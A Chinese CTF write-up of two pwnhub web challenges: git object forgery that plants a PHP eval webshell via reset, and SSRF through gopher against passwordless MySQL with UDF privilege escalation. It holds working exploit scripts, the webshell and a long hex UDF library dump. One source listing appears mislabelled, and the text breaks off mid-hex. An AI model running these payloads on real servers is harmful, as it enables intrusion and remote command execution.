2022 pwnhub 冬季赛

字数统计: 3.4k阅读时长: 17 min

 2022/12/22  Share

Web

reset

reset
290

you know git, control it.

这题让我们好好学习了git，说来惭愧对于git还是一知半解

题目提示了git所以首先使用了githack去探测一下，发现有.git泄露可以脱下来源码

关键的就是reset.php和upload.php

upload.php

<?php

if(isset($_FILES['file'])){
    $fileType = $_FILES['file']['type'];
    $fileName = $_POST['filename'] ?? 'none';
    $size = $_FILES['file']['size'];
    $error = $_FILES['file']['error'];
    $whiteList = array("image/gif", "image/png", "image/jpeg", "image/jpg");

    # check type, size, error
    in_array($fileType, $whiteList) or die('Invalid file!1');
    $size < 20000 or die('Invalid file!2');
    $error > 0 and die($error);

    # check filename
    preg_match('/[a-zA-Z0-9_]{10,}$/', $fileName) or die('Invalid file type!');

    if (! move_uploaded_file($_FILES["file"]["tmp_name"], "./upload/".$fileName)) {
        die('file upload failed.');
    }
    echo 'saved-> '.$fileName. "\n";
}
?>

reset.php

<?php
if (isset($_POST['id'])){
    $id = $_POST['id'];
    preg_match('/^[a-z0-9]{40}$/', $id) or die('Invalid commit id!');
    system("git reset --hard $id");
}
?>

上面两个文件只截取了关键部分

其实就是有一个文件上传点还有一个代码回滚的地方，但是对于回滚字段限制只能是40位的字母+数字，但是上传的文件名处只限制了匹配到大于10位由字母和数字组成文件名就可以（其他那些都可以绕）

这题我们当时拿到的思路就是上传一个commit包含恶意文件然后让他回滚到我们的commit就可以出现我们的恶意文件了，但是对于.git文件夹下的内容不熟悉不知道该如何入手，先去浅浅学习一下

解析.git文件夹，深入了解git内部原理

我们比赛中并没有及时去恶补git原理，就是去忙猜

失败尝试

刚开始认为只要commit那次hash前两位和文件夹对应上就可以了(读了前面的原理就知道(blob commit tree都会生成新的hash文件)，因为他内部objects中已有的文件夹有限，我们想着爆破commit前两位，后来本地实验只把commit传入回滚会显示找不到tree

（看完上面原理发现这个操作很傻x，所以还是需要懂原理再去试）

成功尝试

我们这个不知道算不算非预期了，我们自己建立一个仓库写入shell.php，然后add commit然后利用git cat-file去找到shell.php的blob，把blob的文件名改成远程仓库中index.php或者其他文件的blob的文件名

Untitled

我当时是直接换成了f1ef5c03448a1eb5571dd348cf717a7bad7402

然后上传到5f文件夹下

Untitled

然后回滚一下当前版本就会发现index.php变成我们写的shell了😂

看了NULL的解法是一步一步生成blob再生成tree最后生成commit

import pytricks
import zlib
import requests
def obj(content:bytes,type='blob') -> bytes:
	return f"{type} {len(content)}\x00".encode()+content
def clash(content,type):
	matches = ['07','5b','5d','5f','75','87','c3','c9','ca','f7']
	for i in range(10000):
		t = content % str(i).encode()
		t = obj(t,type)
		sha1 = t.sha1()
		if(sha1[:2] in matches):
			return t,sha1
shell = b"""<?php eval($_REQUEST[1]);//%s"""
c,h = clash(shell,'blob')
c=zlib.compress(c)
print(h)
res = requests.post('http://47.97.127.1:25826/upload.php',files={'file':
('f',c,'image/jpeg')},data=
{'filename':f'../.git/objects/{h[:2]}/{h[2:]}'},proxies=
{'http':'127.0.0.1:8088'})
print(res.text.findall(r'saved-> .*'))

tree = b'100644
%s.php\x00'+bytes.fromhex('f7f3c660ba332cf0f3f6debcdde2af0b916329bd')
c,h = clash(tree,'tree')
c=zlib.compress(c)
print(h)
res=requests.post('http://47.97.127.1:25826/upload.php',files={'file':
('f',c,'image/jpeg')},data={'filename':f'../.git/objects/{h[:2]}/{h[2:]}'})
print(res.text.findall(r'saved-> .*'))

commit = b'tree 5f25c5acd577248e22068785e5fbd1a91a2d3458\nparent
c9a4a016a1bd720a68f810776280619984e87e99\nauthor HSwift\n\n%s\n'
c,h = clash(commit,'commit')
c=zlib.compress(c)
print(h)
res=requests.post('http://47.97.127.1:25826/upload.php',files={'file':
('f',c,'image/jpeg')},data={'filename':f'../.git/objects/{h[:2]}/{h[2:]}'})
print(res.text.findall(r'saved-> .*'))

ssrfme

ssrfme
320

小小的代码，大大的疑惑

提示1：html.zip

思路：ssrf gopher+mysql无密码 UDF提权

源码：

index.php

<?php
highlight_file(__file__);
require_once('./lib/curl.class.php');
require_once('./lib/db.class.php');

if($_GET['url'])
{
    $url = $_GET['url'];
    $curl = new curl();

    if($curl->filterURL($url) === false){
        die('Sorry!');
    }

    $ret = $curl->getURL($url);
    var_dump($ret);

    if($ret['url'] && $ret['status']){
        $dbConfig = array(
            'dbhost' => 'localhost',
            'dbuser' => 'root',
            'dbpass' => '',
            'dbname' => 'ctf'
        );
        
        $db = new db($dbConfig);
        $db->add_url($ret);
    }
}

lib文件下

db.class.php

<?php

    class db
    {
        protected $_host;
        protected $_user;
        protected $_pass;
        protected $_dbName;
        protected $conn = null;

        public function __construct(array $conf) {
            $this->_host = $conf['dbhost'];
            $this->_user = $conf['dbuser'];
            $this->_pass = $conf['dbpass'];
            $this->_dbName = $conf['dbname'];

            if ( is_null($this->conn) ) {
                $this->db_connect();
            }
        }

        protected function db_connect() {

            $this->conn = new mysqli($this->_host, $this->_user, $this->_pass, $this->_dbName);
            if($this->conn->connect_errno){
                die('Connection Error: '.$this->conn->connect_errno);
            }
        }

        protected function check_url_exist($url) {
            $stmt = $this->conn->prepare("SELECT `url` FROM `urls` WHERE `url` = ? LIMIT 1;");
            $stmt->bind_param("s", $url);
            $stmt->execute();
            $stmt->store_result();
            $count = $stmt->num_rows;
            if ($count === 0) {
                return false;
            }
            return true;
        }

        public function add_url($resArray) {
            if ($this->check_url_exist($resArray['url'])) {
                return false;
            }
            $stmt = $this->conn->prepare("INSERT INTO `urls` (`url`, `status`) VALUES (?, ?);");
            $stmt->bind_param("ss", $resArray['url'], $resArray['status']);
            $stmt->execute();
            return true;
        }
    }

?>

curl.class.php

<?php

    class db
    {
        protected $_host;
        protected $_user;
        protected $_pass;
        protected $_dbName;
        protected $conn = null;

        public function __construct(array $conf) {
            $this->_host = $conf['dbhost'];
            $this->_user = $conf['dbuser'];
            $this->_pass = $conf['dbpass'];
            $this->_dbName = $conf['dbname'];

            if ( is_null($this->conn) ) {
                $this->db_connect();
            }
        }

        protected function db_connect() {

            $this->conn = new mysqli($this->_host, $this->_user, $this->_pass, $this->_dbName);
            if($this->conn->connect_errno){
                die('Connection Error: '.$this->conn->connect_errno);
            }
        }

        protected function check_url_exist($url) {
            $stmt = $this->conn->prepare("SELECT `url` FROM `urls` WHERE `url` = ? LIMIT 1;");
            $stmt->bind_param("s", $url);
            $stmt->execute();
            $stmt->store_result();
            $count = $stmt->num_rows;
            if ($count === 0) {
                return false;
            }
            return true;
        }

        public function add_url($resArray) {
            if ($this->check_url_exist($resArray['url'])) {
                return false;
            }
            $stmt = $this->conn->prepare("INSERT INTO `urls` (`url`, `status`) VALUES (?, ?);");
            $stmt->bind_param("ss", $resArray['url'], $resArray['status']);
            $stmt->execute();
            return true;
        }
    }

?>

php中常见可能产生ssrf的函数

curl()

fsockopen()

file_get_contents()

fopen()

readfile()

curl_exec()

相关PHP内置类

SoapClient

index.php调用filterURL对传入的url检测

其中filterURL只对第一次传入的域名或者ip判断了，不过isInnerIP可以绕过

“@”符号绕过

Untitled

16进制

http://0x7F000001

但是上面两个方法都限制了协议是http，但是通过302跳转可以跳过协议限制

而且代码中对location中的ip没有验证

vps上放

Untitled

可以利用file、http、gopher、dict等

关于SSRF和多种绕过方式

通过index.php可以知道mysql是没有密码的，因此可以利用gopher打mysql

谨慎使用gopherus这个工具(nnd，我window发现他编码一长就会编码不全)

这里提供一个python2 gopher协议编码的脚本

print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"
user = raw_input("\033[96m" +"\nGive MySQL username: " + "\033[0m") 
encode_user = user.encode("hex") 
user_length = len(user) 
temp = user_length - 4 
length = (chr(0xa3+temp)).encode("hex") 
dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000" 
dump += encode_user 
dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c" 
dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d" 
dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c" 
query = raw_input("\033[96m" +"Give query to execute: "+ "\033[0m")
# query="SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"
auth = dump.replace("\n","") 
def encode(s):
 a = [s[i:i + 2] for i in range(0, len(s), 2)] 
 return "gopher://127.0.0.1:3306/_%" + "%".join(a) 

def get_payload(query):
	if(query.strip()!=''):
	  query = query.encode("hex") 
	  query_length = '{:06x}'.format((int((len(query) / 2) + 1))) 
	  query_length = query_length.decode('hex')[::-1].encode('hex') 
	  pay1 = query_length + "0003" + query 
	  final = encode(auth + pay1 + "0100000001") 
	  return final 
	else: 
	  return encode(auth) 
print get_payload(query)

写shell发现写不进去限制了写入的位置/usr/lib/mysql/plugin/，就是插件位置利用UDF提权

国光大师傅提供了payload

udf64 linux

SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8